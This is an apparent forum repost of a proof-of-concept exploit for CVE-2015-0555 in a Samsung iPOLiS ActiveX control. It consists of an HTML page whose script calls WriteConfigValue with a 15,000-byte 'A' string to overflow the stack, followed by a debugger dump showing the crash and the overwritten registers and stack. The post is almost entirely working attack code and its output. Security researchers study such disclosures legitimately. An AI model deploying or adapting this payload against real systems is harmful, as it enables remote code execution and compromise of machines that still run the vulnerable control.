Aerosol Posted February 23, 2015 Report Posted February 23, 2015 <!--# Exploit Title: (0day)Samsung iPOLiS XnsSdkDeviceIpInstaller ActiveX WriteConfigValue Remote Code Execution PoC (CVE-2015-0555)# Date: 22/02/2015# Exploit Author: Praveen Darshanam# Vendor Homepage: *https://www.samsung-security.com/Tools/device-manager.aspx# Version: Samsung iPOLiS 1.12.2# Tested on: Windows 7 Ultimate N SP1# CVE: 2015-0555--><html><!--Vulnerability found and PoC coded by Praveen Darshanamhttp://blog.disects.comCVE-2015-0555targetFile = "C:\Program Files\Samsung\iPOLiS Device Manager\XnsSdkDeviceIpInstaller.ocx"prototype = "Function WriteConfigValue ( ByVal szKey As String , ByVal szValue As String ) As Long"memberName = "WriteConfigValue"progid = "XNSSDKDEVICELib.XnsSdkDevice"Operating System = Windows 7 Ultimate N SP1Vulnerable Software = Samsung iPOLiS 1.12.2CERT tried to coordinate but there wasn't any response from Samsung--><head> Samsung iPOLiS XnsSdkDeviceIpInstaller ActiveX WriteConfigValue Remote Code Execution PoC </head><object classid='clsid:D3B78638-78BA-4587-88FE-0537A0825A72' id='target'> </object><script>var arg1 = "";var arg2="praveend";for (i=0; i<= 15000; i++){ arg1 += "A";}target.WriteConfigValue(arg1 ,arg2);</script></html><!--#############Stack Trace####################Exception Code: ACCESS_VIOLATIONDisasm: 149434 MOV AL,[ESI+EDX]Seh Chain:--------------------------------------------------1 647C7D7D mfc100.dll2 647D0937 mfc100.dll3 64E242CA VBSCRIPT.dll4 77B3E0ED ntdll.dllCalled From Returns To--------------------------------------------------XNSSDKDEVICE.149434 4141414141414141 414141414141 3DA4C43DA4C4 mfc100.647790C1mfc100.647790C1 56746C75Registers:--------------------------------------------------EIP 00149434EAX 00003841EBX 00609FB0 -> 0015A564ECX 00003814EDX 00414141EDI 0000008FESI 0000008FEBP 002BE5FC -> Asc: AAAAAAAAAAAESP 002BE564 -> 0000000CBlock Disassembly:--------------------------------------------------149423 XOR EDI,EDI149425 XOR ESI,ESI149427 MOV [EBP-8C],ECX14942D TEST ECX,ECX14942F JLE SHORT 00149496149431 MOV EDX,[EBP+8]149434 MOV AL,[ESI+EDX] <--- CRASH149437 CMP AL,2F149439 JNZ SHORT 0014948914943B MOV ECX,EBX14943D TEST ESI,ESI14943F JNZ SHORT 0014944D149441 PUSH 159F28149446 CALL 0014F7C014944B JMP SHORT 00149476ArgDump:--------------------------------------------------EBP+8 00414141EBP+12 003DA4C4 -> Asc: defaultVEBP+16 647790C1 -> EBE84589EBP+20 FFFFFFFEEBP+24 646CBE5C -> CCCCCCC3EBP+28 0000001CStack Dump:--------------------------------------------------2BE564 0C 00 00 00 00 E6 2B 00 B0 93 14 00 14 38 00 00 [................]2BE574 C4 A4 3D 00 41 41 41 41 41 41 41 41 41 41 41 41 [................]2BE584 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]2BE594 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]2BE5A4 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [................]-->Source Quote
